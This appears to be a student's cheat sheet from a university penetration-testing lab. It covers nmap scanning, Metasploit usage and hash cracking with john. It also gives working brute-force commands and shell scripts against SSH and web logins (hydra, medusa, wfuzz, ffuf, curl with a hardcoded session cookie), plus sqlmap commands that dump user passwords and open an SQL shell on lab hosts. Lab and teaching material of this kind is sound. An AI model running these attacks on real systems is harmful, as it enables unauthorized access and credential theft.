start

```
podman login gitlab.fi.muni.cz:5050
podman-compose up -d
podman-compose exec attacker bash
podman-compose down
```

nmap

```
nmap <ip range(s) to scan> <flags>
```

`-T` - scanning speed from 1 to 5, `-T3` default, higher the value faster it is
`-p X-Y` - scan ports X to Y, `-p-` to scan all ports
`-sV` - service and version info
`-v` - verbosity of scanning
`-Pn` - disable host discovery
`-sU` - UDP scan
`-F` - fast mode, scans fewer ports
`-O` - OS detection
`-A` - OS detection, version detection, script scanning, and traceroute

```
host <IP> # resolve host name
nmap --script=http-enum <resolved name(s)> # discover directories at web servers
dirb https://web.org2 # discover directories at web servers
whois muni.cz
```

msfconsole

```
search <service or something>
use <index of result>
options # write out options of module
set <option> <to something>
check
run
```

password guessing

```
grep -h -E '^[a-z]{4}$' <from> > wordlist.txt
ncrack -v --user <user name> -P wordlist.txt 10.0.33.110:22
medusa -h 10.0.33.110 -u <user name> -P wordlist.txt -M ssh
hydra -l <user name> -P wordlist.txt ssh://10.0.33.110
john --format=crypt mypasswd
john --format=raw-md5 --wordlist=/usr/share/wordlists/sqlmap.txt passwords.txt
```

- privilege escalation script
- National Vulnerability Database

logs

`/var/log` - logs

`/var/log/auth.log` - auth logs

`/var/log/syslog` - Cron logs

brute force pasword

```
#/bin/sh

while read p; do

        password=$(echo $p | cut -d' ' -f 1)
        username=$(echo $p | cut -d' ' -f 2 | tr '[:upper:]' '[:lower:]')

        > wordlist.txt
        for i in $(seq 0 9);
        do
                echo "$password$i" >> wordlist.txt
        done

        medusa -t 4 -b -h 10.0.128.2 -u $username -P wordlist.txt -M ssh

done < employees.txt
```

brute force using wfuzz and curl

```
wfuzz -z file,wordlist.txt 'http://10.0.0.10:80/vulnerabilities/brute/?
username=admin&password=FUZZ&Login=Login'
wfuzz --ss "Welcome to the password protected area" -z file,wordlist.txt
'http://10.0.0.10:80/vulnerabilities/brute/?
username=admin&password=FUZZ&Login=Login'
wfuzz --hs "Username and/or password incorrect" -z file,wordlist.txt
'http://10.0.0.10:80/vulnerabilities/brute/?
username=admin&password=FUZZ&Login=Login'
ffuf -w wordlist.txt -fr "Username and/or password incorrect." -u
'http://10.0.0.10:80/vulnerabilities/brute/index.php?
username=admin&password=FUZZ&Login=Login'
ffuf -w wordlist.txt -mr "Welcome to the password protected area" -u
'http://10.0.0.10:80/vulnerabilities/brute/index.php?
username=admin&password=FUZZ&Login=Login'
hydra -l admin -P wordlist.txt 'http-get-
form://10.0.0.10:80/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=
Login:F=Username and/or password incorrect.'
hydra -l admin -P wordlist.txt 'http-get-
form://10.0.0.10:80/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=
Login:S=Welcome to the password protected area admin'
```

```
#!/bin/bash

# Define constants
WORDLIST="/usr/share/sqlmap/data/txt/wordlist.txt"
TARGET_URL="http://10.0.44.55:80//customers/restricted_access.php"
COOKIE="PHPSESSID=nln7n57lsjmr61rabv9f0jlq94"

# Iterate through each word in the wordlist
while IFS= read -r WORD; do
    echo "Testing access_key=$WORD..."

    # Make the POST request with the current word
    RESPONSE=$(curl -X POST -b "$COOKIE" -d "access_key=$WORD" -s "$TARGET_URL")

    # Count the words in the response
    RESPONSE_WORD_COUNT=$(echo "$RESPONSE" | wc -w)

    # Check if the word count matches the target (226)
    if [[ "$RESPONSE_WORD_COUNT" -ne 226 ]]; then
        echo "Match found! access_key=$WORD"
        exit 0
    fi
done < "$WORDLIST"

# If no match is found after the loop ends
echo "No match found in the wordlist."
exit 1
```

SQL injection

```
sqlmap -u 'http://10.0.0.10:80/vulnerabilities/sqli/?id=1&Submit=Submit'
sqlmap --batch -v0 -u 'http://10.0.0.10:80/vulnerabilities/sqli/?id=1&Submit=Submit' --sql-query "SELECT user, password FROM users"
sqlmap --batch -v0 -u 'http://10.0.0.10:80/vulnerabilities/sqli/?id=1&Submit=Submit' --sql-shell
```

`--current-db` - retrieve current db name

`-D <db name> --tables` - fetch tables of database

`-D <db name> -T <table name> --columns` - fetch columns of table

`-D <db name> -T <table name> --dump` - list contents

`--cookie="<cookieX=Y>"`

forced browsing

```
wfuzz -c -v -t 1 -w /usr/share/wordlists/wfuzz/general/test.txt -u
http://10.0.0.10/FUZZ
```

`--hc` - filters responses based on codes